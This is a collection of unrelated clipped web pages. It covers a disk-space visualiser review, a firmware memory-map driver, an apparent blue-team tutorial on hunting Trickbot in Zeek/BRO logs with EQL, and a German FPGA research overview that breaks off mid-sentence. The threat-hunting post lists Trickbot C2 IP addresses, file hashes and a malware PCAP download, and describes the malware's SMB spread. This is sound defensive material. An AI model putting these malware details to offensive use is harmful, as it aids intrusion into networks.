# TDP x-Ray Lite Hard Drive Manager

There are many ways that Windows users can manage hard disk space. You can
manage your hard drives with the Windows Disk Management utility, but it is
somewhat difficult to navigate. Programs like WinDirStat are great for getting
a good visual scheme. Tools with visual graphing for hard disk management are
ideal. Everybody has their own style and preferences. TDP x-Ray Lite is a free
hard disk management tool that uses a multi-layered pie chart scheme to
represent usage of hard disk space.

<img src='img/Temp2_7830.png' width='600' height='356' alt='tdp x-ray lite
hard disk' />

Displayed in the middle of the window is a colorful chart showing memory
information in different sizes and colors around the chart. Unused disk space
is shown with no extensions, as that part of the drive is blank. On the left
panel shows all connected drives. It will show USB drives, external hard
drives, SD cards, partitions, etc. When you click on a particular field, you
see what that area of the hard drive contains and another pie chart will be
presented to represent that space and the different files and folders
contained therein. This is quite handy when you need to clean your hard drive
space or find specific files and folders.

In the screenshot above, you can see all of the sectors in Drive C: and by
placing the mouse over a certain area, a small box provides the information
for the occupancy of that sector. In this example, VirtualBox is highlighted.
Click on the selected field and you will get the specifics.

<img src='img/Temp2_7831.png' width='600' height='336' alt='hard drive
contents' />

When you get the pie chart for the selected sector, X – Ray Lite allows you to
go deeper. For example, the VirtualBox chart has 4 sectors representing
virtual machines stored on the hard drive. In this demonstration, the area for
Debian Linux is found when the mouse is hovered over an area. When this is
clicked, a chart that isolates Debian is displayed.

You follow the same process to isolate any file or folder from the original
chart for any given drive highlighted in the left pane. By right-clicking a
sector of the chart, you are presented with a context menu with options to
Zoom, Recycle or Delete and also view Properties. From there, you can do what
you want. To clear any area of the hard drive, select delete and then empty
the recycle bin. Alternatively, you can choose the Zoom option to get even
more detailed specifics of the drive memory occupation or open the Properties.

There is also an option to access the application from the Windows Explorer
context menu. From Windows Explorer, select a folder and right-click to open
the context menu. Right-click the selected folder and select “x-Ray it\!” and
this will show a pie chart for that file.

TDP x-Ray Lite is incredibly easy to use and versatile. For users who work
well with pie chart schemes, it is ideal. When you download the application, a
desktop icon is generally not created. You will have to open the start menu
and use the search box to find it then drag and drop to the desktop if you
want an icon there.

Download TDP x-Ray Lite from this link:  
http://www.tdp.cz/downloads/en/xray-lite

TDP x-Ray Lite works on all versions of Windows.

**Enjoyed the article?** : Then sign-up for our free newsletter or RSS feed to
kick off your day with the latest technology news and tips, or share the
article with your friends and contacts on Facebook or Twitter.  
  

## Related Articles:

Linkman Lite, Multi-Browser Bookmarks Manager  
Drive Manager  
Hard Drives Space Visualization  
Driver Magician Lite, Backup Windows Device Drivers  
Winamp 5.5 lite vs. XMPlay Memory Management  

# Dynamic Binary Instrumentation

**Created:**| _5/14/2017 12:02:48 PM_  
---|---  
**Updated:**| _5/14/2017 12:04:15 PM_  
**Author:**| __  
**Tags:**| _Debugging binary instrumentation reversing_  
  

  
<img src='img/dbi_introduction.pdf' />  

# Viewing the Firmware Memory Map

**Created:**| _4/13/2011 8:31:59 AM_  
---|---  
**Updated:**| _4/13/2011 8:47:08 AM_  
**Author:**| __  
**Tags:**| _Embedded reversing_  
  
  
---  
# Viewing the Firmware Memory Map

A possibly useful demonstration of the x86 BIOS emulator is to have a driver
execute int 15h function E820h on a running system in order to discover the
memory map that the loader will have worked from in deciding what memory
Windows can use.The value of such a map is increased beyond mere curiosity now
that computers typically have gigabytes of RAM. Indeed, many computers are now
sold with more RAM than can fit in what’s left of the first 4GB of physical
address space after an increasing number of increasingly greedy peripheral
devices each take their cut. Some chipsets, perhaps many, deal with this
reasonably elegantly by remapping much of the excess RAM to the end of all
other RAM that is anyway addressable above 4GB. Some don’t. Either way, since
Microsoft does not license 32-bit Windows Vista to use physical memory above
4GB, most users just end up wondering where the missing part of their 4GB has
gone, manufacturers have to warn that not all the 4GB will be usable, and the
Internet gets to show how very good it is at propagating all manner of
supposed explanations.If you’re using 32-bit Windows Vista on a computer that
has 4GB or more of RAM fitted, and you wonder what your options are for
getting all that memory into use, then you might benefit from knowing whether
any RAM that doesn’t show below 4GB is remapped above 4GB. The Firmware Memory
Map Tool presented on this page will give you this information. If you find
that no RAM is reported above 4GB, then the RAM that is overridden below 4GB
is truly lost. Even installing 64-bit Windows will not help, and you are
clearly better off to know before trying. If you do have RAM above 4GB, then
you can know how much you stand to gain from getting a Windows that isn’t
limited to 4GB.Three options would seem to be possible from Microsoft:

  * install 64-bit Windows Vista;
  * install a server edition of 32-bit Windows, e.g., Windows Server 2008 Enterprise Edition, that comes with a license to use more memory;
  * obtain a license upgrade so that the 32-bit Windows Vista you already have will use all your memory.

Unfortunately, Microsoft shows no sign of offering the last despite its being
obviously the least costly \(by far\) to users who have perfectly adequate
computers and applications and have no wish to be mucked around with
installing an operating system, even as an upgrade, and possibly also
reinstalling their software. Since Microsoft seems nowhere to say directly
that the restriction of 32-bit Windows Vista to 4GB is a licensing issue, it
seems unlikely that a license upgrade will ever be offered. Even so, the
driver and utility program presented below does at least give users the means
to know that their computer with 4GB of RAM has 768MB \(or whatever\) sitting
above the 4GB address, and they can then ask Microsoft for permission to have
Windows use that extra memory. How much does Microsoft think this permission
should cost a customer, I wonder, not just in money paid to Microsoft but in
the customer’s time which is lost to nobody’s benefit?

## The Firmware Memory Map Tool

The FWMEMMAP.SYS driver exists just to reproduce the loader’s memory map by
calling int 15h function E820h enough times to retrieve the whole memory map
and then to make the result accessible from user mode via a Device I/O Control
interface. The FWMEMMAP.EXE utility is a console application that exists just
to load the driver, ask it for the map, show the map to you, and then unload
the driver.The driver calls the BIOS by using the HAL’s real-mode emulator,
which is conveniently new for Windows Vista. One of the points to this
introduction of BIOS support through an emulator is presumably that it should
work for both the x86 and x64 architectures, without Microsoft having to build
into 64-bit Windows all the support needed for getting the processor to
execute 16-bit real-mode code in a virtual-8086 task. So that you may see this
works, I provide x64 builds of the driver and program, even though I do not
imagine they are much use in practice. After all, if you have 64-bit Windows,
you do not need this utility to tell you whether any RAM is remapped to be
addressable above 4GB.You should be aware that the driver uses five
undocumented kernel-mode functions:

  * x86BiosAllocateBuffer
  * x86BiosCall
  * x86BiosFreeBuffer
  * x86BiosReadMemory
  * x86BiosWriteMemory

If you are troubled about software using features that the manufacturer does
not disclose, then do not use this driver.Now, I should point out that there
are some risks with the BIOS emulation on a running system. The HAL interprets
the real-mode code that would execute if an interrupt actually were called in
real mode, e.g., by a DOS program running on a machine that has booted DOS, or
indeed by the Windows loaders \(both BOOTMGR and WINLOAD\) before the kernel
runs. Wherever the real-mode code would execute port I/O instructions, the HAL
actually may read from or write to the port. There is at least some potential
that port I/O for the emulator interferes with port I/O being performed
concurrently by drivers. Except for CMOS and PCI ports, there seems to be no
means of synchronisation. Though conflict over port I/O seems highly
improbable for int 15h function E820h, it perhaps is not impossible.

### Output

The following example should be typical of the tool’s output. The machine in
question is fitted with 4GB of RAM \(as four 1GB chips\). Much of the address
space immediately below 4GB is not usable for RAM, but 768MB is remapped to be
usable above 4GB.

[code]

    Map of firmware memory ranges (from int 15h function E820h)
    
           Address               Size              Type
    =================== =================== =================
    0x00000000`00000000 0x00000000`0009E800  1 (memory)
    0x00000000`0009E800 0x00000000`00001800  2 (reserved)
    0x00000000`000F0000 0x00000000`00010000  2 (reserved)
    0x00000000`00100000 0x00000000`CFD90000  1 (memory)
    0x00000000`CFE90000 0x00000000`00053000  4 (ACPI NVS)
    0x00000000`CFEE3000 0x00000000`0000D000  3 (ACPI Reclaim)
    0x00000000`CFEF0000 0x00000000`00010000  2 (reserved)
    0x00000000`E0000000 0x00000000`10000000  2 (reserved)
    0x00000000`FEC00000 0x00000000`01400000  2 (reserved)
    0x00000001`00000000 0x00000000`30000000  1 (memory)
    
    Summary (in MB, ignoring partial MB):
    
    Total memory:               4094
    Memory above 4GB:            768
    
[/code]

Ranges that are addressable as RAM are marked “memory”. To interpret other
values in the Type column, refer to the definition of int 15h function E820h
in the <img src='img/external.gif' /> Advanced Configuration and Power
Interface \(ACPI\) Specification, Section 14, System Address Map Interfaces.
Note that the map has holes: int 15h function E820h does not report “standard
PC address ranges” or areas of address space that are used “for the memory
mapping of PCI devices, ISA Option ROMs, and ISA Plug and Play cards”. 

### Directions

For distribution, the Firmware Memory Map Tool is compressed into zip files:

  * x86 executables \(9KB\);
  * x64 executables \(10KB\);
  * source code \(14KB\);
  * x86 and x64 executables with source code \(32KB\).

The driver and the program must be in the same directory. Just run the program
from a Command Prompt. You will need administrative privilege. On an x64
system, you will need to start Windows in Test Mode, i.e., with testsigning
enabled in the Boot Configuration Data \(BCD\). For 32-bit Windows, Test Mode
is merely optional but it does spare you from a warning in the event log
\(specifically in Microsoft-Windows-CodeIntegrity/Operational\). On both
architectures, loading the driver will typically cause warnings in the System
log from the Windows Defender.The restriction to Test Mode on x64 systems is
because the executables are signed with a root certificate only. I am not a
software manufacturer and do not have a Software Publishing Certificate
\(SPC\) for signing kernel-mode drivers. Yes, I am a specialist in kernel-mode
drivers, but I write them for other people to publish, and the release-signing
of the products they sell is done by them, not by me. Getting an SPC is a lot
of trouble to go to for a simple utility that will likely be run only once on
any one machine. Test Mode seems perfectly reasonable to me. If you don’t like
Test Mode but do have an SPC, then re-sign the driver as your own.

### Source Code

Source code is provided as a root directory and three subdirectories:

  * EXE, for the console application;
  * INC, for headers that are shared by the application and driver;
  * SYS, for the driver.

The code is written for use with the Windows Driver Kit \(WDK\). To build the
executables, open one of the WDK’s build environments for Windows Vista,
change to the root directory of this source tree, and run the WDK’s BUILD
utility.To have the binaries and symbol files be collected in a tree beneath a
subdirectory named BIN, undefine the environment variable NO\_BINPLACE before
running BUILD. For details, refer to the PROJECT.MK file in the root directory
of the source tree.The executables are not signed unless you define one or
more environment variables before building. If you are happy for test-signing
with a root certificate named My Own Testing Authority which you have already
created and imported into your personal certificate store, then define the
environment variable SIGNCODE. Otherwise, describe your certificate by
defining environment variables SIGNCODE\_CERTIFICATE\_STORE and
SIGNCODE\_CERTIFICATE\_NAME, and optionally SIGNCODE\_CROSS\_CERTIFICATE and
SIGNCODE\_TIME\_STAMPER. For details, refer to the PROJECT.MK file in the root
directory of the source tree.This page was created on 27th April 2009 and was
last modified on 17th June 2009.Copyright © 2009. Geoff Chappell. All rights
reserved. Conditions apply.

# Part 1: Threat hunting with BRO/Zeek and EQL | HoldMyBeer
**Created:**| _3/2/2019 6:16:22 PM_  
---|---  
**Updated:**| _3/2/2019 6:16:22 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

##  Part 1: Threat hunting with BRO/Zeek and EQL

<img src='img/Temp2_6129.jpg' width='398' height='220' />

One of the biggest challenges for blue teams is using logs to hunt for
malicious activity. Tools like BRO provide fantastic logging of the events
that transpired on a network but don’t provide a mechanism to ask those logs a
question. Threat hunting is the process of generating a series of hypotheses
about malicious activity that might be occurring on your network. EQL provides
a tool that can ingest logs and provide the threat hunter a mechanism to ask
questions to prove or disprove their hypotheses. Furthermore, I have extended
the EQL platform to support Zeek/BRO logs for network-based threat hunting.

# Tools

## Event Query Langauge\(EQL\)

<img src='img/Temp2_6143.jpg' width='300' height='143' />

EQL is a language that can match events, generate sequences, stack data, build
aggregations, and perform analysis. EQL is schemaless and supports multiple
database backends. It supports field lookups, boolean logic, comparisons,
wildcard matching, and function calls. EQL also has a preprocessor that can
perform parse and translation time evaluation, allowing for easily sharable
components between queries.

  * Youtube – Atomic Friday: Red Canary & Endgame on EQL

## BRO/Zeek

<img src='img/Temp2_6145.jpg' width='152' height='145' />

Zeek is a powerful system that on top of the functionality it provides out of
the box, also offers the flexibility to customize analysis pretty much
arbitrarily. For the rest of this post I will refer to Zeek as BRO because it
more commonly known.

  * Youtube – A Revolution in Network Security Monitoring is Underway: Are You Ready?
  * Youtube – The power of Bro and why you should include it in your security infrastructure.

# EQL terms

  * Domain – A data source such as Sysmon, BRO, Osquery, etc
  * Source – Event types that are recorded by the domain
  * Event type – A specific event such as a network connection, file creation, process creation, etc

# Install/Setup EQLLIB for BRO logs

## Install/Setup EQLLIB

  1. cd /tmp && git clone https://github.com/endgameinc/eqllib
  2. cd eqllib
  3. python3 setup.py install
  4. cd /tmp && git clone https://github.com/CptOfEvilMinions/ThreatHuntingEQLandBro.git
  5. cd ThreatHuntingEQLandBro
  6. python3
    1. import eqllib
    2. print\(eqllib.\_\_file\_\_\)<img src='img/Temp2_6142.jpg' width='529' height='104' />
  7. cp <Python3.7 base\_dir>/site-packages/eql-\*.egg/eql/etc/schema.json <Python3.7 base\_dir>/site-packages/eql-\*.egg/eql/etc/schema.json.bak
    1. Create a backup of schema.json
  8. cp bro-schema.json <Python3.7 base\_dir>/site-packages/eql-\*.egg/eql/etc/schema.json
    1. MacOS Python 3.7 base\_dir: /usr/local/lib/python3.7
    2. Schema.json contains a list of event\_types
  9. cp bro-domain.toml <Python3.7 base\_dir>/site-packages/eqllib-\*.egg/eqllib/domains/bro-domain.toml
    1. A domain is a record of the schema for each event in a log
  10. cp bro-source.json <Python3.7 base\_dir>/site-packages/eqllib-\*.egg/eqllib/sources/bro.toml
    1. Source bonds the key names in a log to the schema names<img src='img/Temp2_6148.jpg' width='1045' height='80' />

## Verify BRO + EQL

  1. cd example\_logs
  2. Check if new schema, BRO domain, and BRO source are working
    1. eqllib query -s "Bro events" -f conn.jsonl "bro\_conn where true"<img src='img/Temp2_6130.jpg' width='780' height='252' />
  3. Count the connections in the conn.log
    1. eqllib query -s "Bro events" -f conn.jsonl "bro\_conn where true | count"<img src='img/Temp2_6133.jpg' width='521' height='66' />
  4. Connections with a destination IP addr
    1. eqllib query -s "Bro events" -f conn.jsonl "bro\_conn where destination\_address == '217.20.147.1'<img src='img/Temp2_6135.jpg' width='626' height='309' />
  5. Count the connections with a destination IP addr 
    1. eqllib query -s "Bro events" -f conn.jsonl "bro\_conn where destination\_address == '217.20.147.1' | count"<img src='img/Temp2_6146.jpg' width='593' height='89' />
  6. Unique DNS queries
    1. eqllib query -s "Bro events" -f dns.jsonl "bro\_dns where true | unique"<img src='img/Temp2_6144.jpg' width='879' height='258' />

# Converting BRO logs on MacOS

At the time of this writing, EQLLIB\(version 0.6.2\), does not handle BRO keys
that contain a “.” like “id.resp\_h”. I have documented below how I use SED to
convert keys from “id.resp\_h” to “src\_addr”. Additionally, in the repo, I
have a RSYLOG config for a client to ship the logs correctly :\).

  1. sed -i '' 's:id\\.orig\_h:dest\_addr:g' \*.jsonl
  2. sed -i '' 's:id\\.orig\_p:dest\_port:g' \*.jsonl
  3. sed -i '' 's:id\\.resp\_h:src\_addr:g' \*.jsonl
  4. sed -i '' 's:id\\.resp\_p:src\_port:g' \*.jsonl
  5. sed -i '' 's/\\\(:\[0-9\]\[0-9\]\\\)\\.\[0-9\]\\\{6\\\}/\1/g' \*.jsonl<img src='img/Temp2_6131.jpg' width='742' height='126' />

# Threat hunting for Trickbot

## Generating a hypothesis

The first step to threat hunting is generating a hypothesis. A bad hypothesis
would be to hunt for all the “bad” things on a network. A better hypothesis is
to hunt for the existence of “Trickbot” on the network. From threat
intelligence feeds, YARA rules, Twitter, and etc, we know network artifacts
unique to Trickbot. Our hypothesis\(H1\) will be: BRO logs and EQL can be used
to detect the existence of Trickbot on the network or prove no existence.

### Known intelligence about Trickbot

  * MalwareBytes report
    * Targets Windows systems
    * Uses SMB for lateral movement
    * Distributed via malspam or malicious documents 
      * Disguised as a Microsoft word document
    * Banking trojan
    * Malware hashes
  * PasteBin post for Trickbot
    * List of servers to call back too
  * F5 networks
    * Communicates via HTTP

### Subhypotheses

  * H1.1: Detect the existence of Trickbot with a list of known C2 IP addresses.
  * H1.2: Detect the existence of Trickbot with a list of known file hashes.
  * H1.3: Detect the existence of Trickbot by detecting anomalies in HTTP 
    * H1.3.1: User-agents
    * H1.3.2: URIs
    * H1.3.3: POST requests for resources
  * H1.4: Detect the existence of Trickbot by sharing a malicious binary via SMB 
    * H1.4.1: A new file is pushed via SMB to a remote host with a random filename

## Converting PCAP with BRO on MacOS

The repo for this blog post contains BRO logs that have been converted from a
PCAP for this exercise. However, if you’re interested in steps I performed,
follow the instructions in this section below .

  1. brew install bro bro-aux
  2.     1. mkdir -p /usr/local/Cellar/bro/2.5.5/share/bro/site/scripts
    2. sudo tee /usr/local/Cellar/bro/2.5.5/share/bro/site/scripts/json-logs.bro << EOF
    3. @load tuning/json-logs
    4.     5. redef LogAscii::json\_timestamps = JSON::TS\_ISO8601;
    6. redef LogAscii::use\_json = T;
    7. EOF
  3. wget https://www.malware-traffic-analysis.net/2018/05/24/2018-05-24-Trickbot-infection-traffic-AD-environment.pcap.zip
  4. unzip 2018-05-24-Trickbot-infection-traffic-AD-environment.pcap.zip
  5. bro -C -r 2018-05-24-Trickbot-infection-traffic-AD-environment.pcap policy/tuning/json-logs.bro

## EQL + BRO logs

### Extracting destination addresses

PasteBin provided a list of known IP addresses that Trickbot calls back too.
Let’s see if conn.log contains an IP address known to be associated with
Trickbot.

  1. eqllib query -s "Bro events" -f example\_logs/trickbot-conn.jsonl "bro\_conn where destination\_address in \('187.188.162.150', '185.28.63.109','83.0.245.234','213.241.29.89','62.109.31.123','92.63.107.14'\)"
    1. Result was none<img src='img/Temp2_6147.jpg' width='731' height='39' />

### Extracting file hashes

Malwarebytes provided a list of known hashes for Trickbot. Let’s see if
files.conn contains a hash known to be associated with Trickbot.

  1. eqllib query -s "Bro events" -f example\_logs/trickbot-files.jsonl "bro\_files where files\_md5 in \('9aac1e00d62e0b4049781cc5eff99bc7', '9b3659936354dceb1063a42f15d0f12a', '60bd4480035e82393636b0fb60d351ba','ba36cf1afb6b6eed38b0a8d54152335b','74933912ad87ec0b3a1b570a0ea0832b','b6f9ba3fd8af478147c59b2f3b3043c7','ac32c723c94e2c311db78fb798f2dd63','f8e58af3ffefd4037fef246e93a55dc8','25570c3d943c0d83d69b12bc8df29b9d','5ac93850e24e7f0be3831f1a7c463e9c','69086a1e935446067ecb1d20bfa99266','b34d36c1c76b08e7b8f28d74fbf808d8'\)"
    1. Result was none<img src='img/Temp2_6136.jpg' width='720' height='60' />

### Analyzing HTTP traffic

#### Detecting anomalous HTTP user-agents

HTTP is probably the most common protocol used by malware. The user-agent in
the HTTP protocol is a field controlled by the client and not the server.
Malware can use a custom user-agent like Trickbot.

  1. eqllib query -s "Bro events" -f example\_logs/trickbot-http.jsonl "bro\_http where true | unique\_count http\_user\_agent"  
<img src='img/Temp2_6132.jpg' width='642' height='182' />  
<img src='img/Temp2_6137.jpg' width='296' height='300' />

The query above displays the unique user-agents and how many times it occurred
in this dataset. The interesting thing is the first entry occurred 4 times and
has NO user-agent but, has a URI of “/traur.bin”. Having a blank user-agent
isn’t a known indicator of Trickbot but, it’s not normal.

#### Detecting anomalous HTTP URIs

eqllib query -s "Bro events" -f example\_logs/trickbot-http.jsonl "bro\_http where true | unique\_count http\_uri"
<img src='img/Temp2_6141.jpg' width='281' height='300' />

The query above will display all the unique URIs within each HTTP headers and
how many times it occurred. The first entry has a URI for “/traur.bin” and an
http\_mime\_type of “application/x-dosexec” which is confirming this is a
binary .

<img src='img/Temp2_6139.jpg' width='300' height='241' />

The second entry above is an HTTP request to
“http://ip.anysrc.net/plain/clientip” to request the public IP address of this
network. This may be a mechanism by the malware to detect if it’s in a
sandbox.

<img src='img/Temp2_6140.jpg' width='277' height='300' />

The third entry above has a count of two, a URI of “/table.png”, and an
http\_mime\_type of “application/x-dosexec”. The request being
requested\(“/table.png”\) does not match with the mime type.

#### Detecting HTTP POSTs for resources

  1. eqllib query -s "Bro events" -f example\_logs/trickbot-http.jsonl "bro\_http where http\_method == 'POST'"

<img src='img/Temp2_6138.jpg' width='430' height='202' />

We have ONE entry for an HTTP packet that is a POST and it has several
irregularities: the source IP address is from our domain controller, the POST
body is being sent to an odd port of 8082, and the user-agent is “WinHTTP
sender/1.0” LIKE the user-agent above, the URI seems to contain the hostname
of the DC and a UID.

### Detecting SMB lateral movement

Trickbot will use SMB to worm the malware throughout the network. BRO has the
ability to record SMB mapping events and SMB file transfers. SMB mapping
events are when a host connects to a remote network drive. SMB file transfers,
as the name implies, is when SMB is used to transfer files across the network.
To detect Trickbot, we will use the sequence function in EQL. This function
will allow us to look at SMB events interacting with the “IPC$” share followed
by a SMB file event with an action of “SMB::FILE.OPEN”.

  1. cat example\_logs/trickbot-smb\_mapping.jsonl > example\_logs/trickbot-smb.jsonl
  2. cat example\_logs/trickbot-smb\_files.jsonl >> example\_logs/trickbot-smb.jsonl
  3. eqllib query -s "Bro events" -f example\_logs/trickbot-smb.jsonl "sequence with maxspan=30s \[bro\_smb\_mapping where smb\_mapping\_share\_type == 'PIPE'\] \[bro\_smb\_files where smb\_files\_action =='SMB::FILE.OPEN' and not smb\_files\_name in \('samr','lsarpc'\)\]"
    1. eqllib query -s "Bro events" -f example\_logs/trickbot-smb.jsonl "bro\_smb\_mapping where smb\_mapping\_share\_type == 'PIPE'"
    2. eqllib query -s "Bro events" -f example\_logs/trickbot-smb.jsonl "bro\_smb\_files where smb\_files\_action =='SMB::FILE.OPEN'"<img src='img/Temp2_6134.jpg' width='575' height='303' />

In the screenshot above, we can see host “10.0.100.223” pushing a binary named
“44783m8uh77g8l8.nkubyhu5vfxxbh878xo6hlttkppzf28tsdu5kwppk.11c1jl.exe” to the
remote host “10.0.100.5”\(our domain controller\). From our intelligence we
know Trickbot uses SMB to worm itself throughout the network and we known the
filenames are arbitrary.

# Conclusion

Not all hunts will end with a finding of malicious activity. As stated above,
threat hunting is the process of creating a hypothesis and applying the
scientific method to prove or disprove it. This hunt didn’t result in a
definite answer but it did discover some irregularities which should be
followed up with a more thorough investigation. A thorough investigation may
include: analyzing the hosts themselves, collecting more intelligence on
Trickbot to generate additional hypotheses, or this hunt lead to the discovery
of malicious activity occurring on your network that you were unaware of.

# Resources/Sources

  * EQL – ReadTheDocs
  * GitHub – Zeek/Bro
  * THREAT HUNTING FOR HTTP USER AGENTS
  * ReadTheDocs – Getting Started with EQLlib
  * 2018-05-24 – QUICK POST: TRICKBOT MALSPAM \(INFECTION FROM CLIENT TO DOMAIN CONTROLLER\)
  * GitHub – configure\_bro\_json-logs.sh

  

# Forschung < Forschung < Eingebettete Systeme

**Created:**| _10/30/2011 11:10:42 AM_  
---|---  
**Updated:**| _10/30/2011 11:10:42 AM_  
**Author:**| __  
**Tags:**| _research awesome_  
  

#  Übersicht

  * Publikationen

  * Adaptive Rechensysteme und ihre Entwurfswerkzeuge
  * Rechnerarchitekturen für adaptive Systeme
  * Entwurf adaptiver Rechensysteme
  * Flexible Schnittstelle für Modulgeneratoren
  * Floorplanning-Werkzeuge für datenpfadorientierte Schaltungen auf FPGAs
  * Evaluation repräsentativer Anwendungen auf adaptiven Rechensystemen
  * Evaluationswerkzeuge für grobgranulare rekonfigurierbare Architekturen
  * Compiler für adaptive Rechensysteme
  * Zwischendarstellung für Hardware-Auswahl und Datenpfad-Synthese
  * Interaktion mit dem Modulgenerator GLACE
  * Compiler-Optimierungen für adaptive Rechensysteme
  * Hardware-Software-Partitionierung
  * Spekulative Ausführung von Datenflussgraphen in Pipelines
  * Rekonfigurations-Scheduling
  * Bitbreiten-Reduktion und Evaluierung konstanter Bits
  * Beschreibungsunabhängige Analysemethoden
  * Metaoptimierungen für adaptive Rechner
  * Unterstützung von spekulativer Parallelisierung auf einem adaptiven Rechner
  * Einbindung komplexer IP-Blöcke in automatisch generierte Datenpfade
  * Parametric C Interface For IP Cores \(PaCIFIC\)
  * Plattformen und Systemkomposition
  * Allgemeine Einführung in adaptive Rechensysteme

#  Adaptive Rechensysteme und ihre Entwurfswerkzeuge

Adaptive Rechensysteme haben die Fähigkeit, sich neben der konventionellen
Programmierung durch Software auch in Hardware-Aspekten an die Erfordernisse
der aktuellen Anwendung anpassen zu lassen. Diese Art von Flexibilität
erfordert neue Entwicklungswerkzeuge, mit denen die Soft- und Hardware-
Komponenten zur Realisierung eines Algorithmus gemeinsam erstellt werden
können. Siehe auch die ausführliche Allgemeine Einführung.

Die laufenden Arbeiten unseres Fachgebiets Eingebettete Systeme und ihre
Anwendungen \(ESA\) schliessen an umfangreiche Forschungen an der Abteilung
Entwurf integrierter Schaltungen \(E.I.S.\) der TU Braunschweig an. Seit 1997
kooperierte diese im Rahmen des Projekts _Nimble Compiler for Agile Hardware_
unter anderem mit der Fa. Synopsys \(Advanced Technology Group\) und der
Universität Berkeley \(BRASS\). Als Ziel steht die Entwicklung eines
durchgehenden Entwurfsflusses, der ohne Einschränkungen C in kombinierte
HW/SW-Anwendungen übersetzen kann, die dann auf einem geeigneten adaptiven
Rechensystem effizient ausgeführt werden können. Während das Nimble-Projekt in
2001 erfolgreich abgeschlossen wurde, gehen unsere eigenen Forschungen auf
diesem Gebiet weiter.

Das Nimble-Nachfolgesystem COMRADE wurde in 2004 deutlich weiterentwickelt und
kann nun die ersten Beispielanwendungen korrekt in simulierte Hardware
übersetzen. Der Fluss wurde durch zusätzliche Optimierungen wie das Aggressive
Tail Splitting und eine Bitbreiten-Anpassung der Berechnungen verfeinert.
Neben dieser Thematik befasst sich ein laufendes DFG-Projekt, das dem
Schwerpunktprogramm 1148 assoziiert durchgeführt wird, auch mit der
automatischen Integration von bestehenden Hardware-Blöcken mit den compiler-
generierten Datenpfaden.

Mit dem Ziel, nun die Interaktion von Hardware-Architektur und Software-Tools
auf Parameter wie Rechenleistung und Leistungsaufnahme zu evaluieren, wird das
Projekt an der TU Darmstadt weitergeführt.

#  Rechnerarchitekturen für adaptive Systeme

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak1s.gif' alt='ak1s.gif' />  
---  
**Bild 1:** Hardware-Architekturen  
\(a\) Einzel-Chip \(ideal, z.B. GARP\) \(b\) Multi-Chip \(real, z.B. ACEV\)  
Adaptive Rechensysteme \(siehe auch Allgemeine Einführung\) können wegen der
für sie typischen Flexibilität einzelner Hardware-Teile weitaus besser an
aktuelle Erfordernisse angepasst werden als dies mit komplett fester Standard-
Hardware möglich wäre. Da aber selbst bei einem adaptiven Rechner der
überwiegende Teil des Systems aus nicht-konfigurierbaren Bauteilen besteht,
muss auch hier die doch weitgehend statische Rechner-Architektur sorgfältig
und ohne die Möglichkeit einer späteren Änderbarkeit entworfen werden. Ein
Schwerpunkt unserer Forschung liegt daher auf der Konzeption, Realisierung und
Evaluierung verschiedener Hardware-Architekturen für adaptive Rechensysteme.

Beim bisherigen Stand der Arbeiten besteht die ideale Ziel-Hardware \(Bild 1\)
für den Entwurfsfluss aus einem eng gekoppelten rekonfigurierbaren Datenpfad
_DP_ und einem konventionellen Prozessor _CPU_ , die auf einen gemeinsamen
Speicher zugreifen \(_DRAM_ , _Cache_\). Optional kann der _DP_ auch noch
lokalen Speicher _SRAM_ und eigene Peripherie _I/O_ haben.

Der Datenpfad sollte dabei einige Dutzend bis einige hundert ALU-Operationen
gleichzeitig realisieren können und ausreichend Flip-Flops für den Aufbau von
Pipelines enthalten. Je kürzer die Rekonfigurationszeit, desto effizienter
kann der _DP_ für unterschiedliche Teile der Anwendung wiederverwendet werden.

Da geeignete Bausteine mit den oben genannten Fähigkeiten erst seit kurzem
verfügbar sind, wurde in Form der Test-Plattform ACEV an der Abteilung ein
adaptiver Rechner aufgebaut, der diskrete Chips für die einzelnen Komponenten
verwendet \(Bilder 1.b, 2\).

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak2.jpg' alt='ak2.jpg' />  
---  
**Bild 2:** Erprobungs-Plattform ACE1 für adaptive Rechensysteme  
Im einzelnen wird dabei zur Realisierung der Datenpfade ein Baustein Xilinx
Virtex XCV1000 verwendet. Ein RISC microSPARC-IIep dient als _CPU_. Als
Speicher stehen _DP_ und _CPU_ gemeinsam 64MB _DRAM_ zur Verfügung, dem _DP_
lokal 4 x 1MB ZBT-SRAM. Die Kommunikation zwischen _DP_ und _CPU_ erfolgt über
einen PCI-Bus. Um die Latenzen der vom _DP_ ausgehenden _DRAM\_-Zugriffe zu
minimieren, verwendet auch der \_DP_ einen eigenen _Cache_. Die komplette
Testplattform steckt als PCI-Karte in einem Wirtsrechner, läuft aber von
diesem unabhängig unter einem eigenen Betriebssystem. Dazu wurde das
Echtzeitbetriebssystem RTEMS auf die ACEV-Umgebung portiert. Nur für Ein- und
Ausgabeoperationen wird nahtlos auf die Peripherie \(Dateien, Netzwerk\) des
Wirtsrechners zugegriffen.

Diese Umgebung erlaubt die praktische Erprobung von Entwurfswerkzeugen,
Hardware-Architekturen und konkreten adaptiven Anwendungen auf Systemebene
schneller als dies durch Simulationen möglich wäre. Dabei ist allerdings die
absolute Rechenleistung bedingt durch den diskreten Aufbau stark beschränkt:
Neben der niedrigen Bandbreite und hohen Latenz der PCI-Anbindung ist dafür
auch die sehr langsame Rekonfigurationszeit der Virtex-FPGAs verantwortlich.
Bei der zukünftigen Verwendung der oben genannten höher integrierten Lösungen
\(single-chip\) mit schneller konfigurierbarer Struktur \(ALU statt
Logikblock\) werden diese Einschränkungen aber aufgehoben.

Die ACE-V Plattform ist mittlerweile ausreichend stabil um auch von einem
breiteren Anwenderkreis benutzt zu werden. Um die Fortschritte durch das
Verfügbarwerden von höherintegrierten Bausteinen auszunutzen, wurde in 2004
mit der Migration auf die aktuelle Xilinx Virtex II Pro Technologie begonnen.
Diese System-FPGAs vereinen bis zu vier RISC-Prozessoren mit zehntausenden von
konfigurierbaren Logikblöcken auf einem Chip. Für eine darauf basierende
AlphaData ADM-XP Prototypenplattform sind erste Arbeiten zur Erstellung einer
passenden Software-Umgebung unter Linux angelaufen.

#  Entwurf adaptiver Rechensysteme

Die manuelle Entwicklung von Anwendungen für adaptive Rechner ist recht
mühsam: Zunächst muss der zu implementierende Algorithmus in Hard- und
Software-Teile partitioniert werden. Anschließend werden die einzelnen Teile
getrennt realisiert, müssen aber auf beiden Seiten noch mit Schnittstellen und
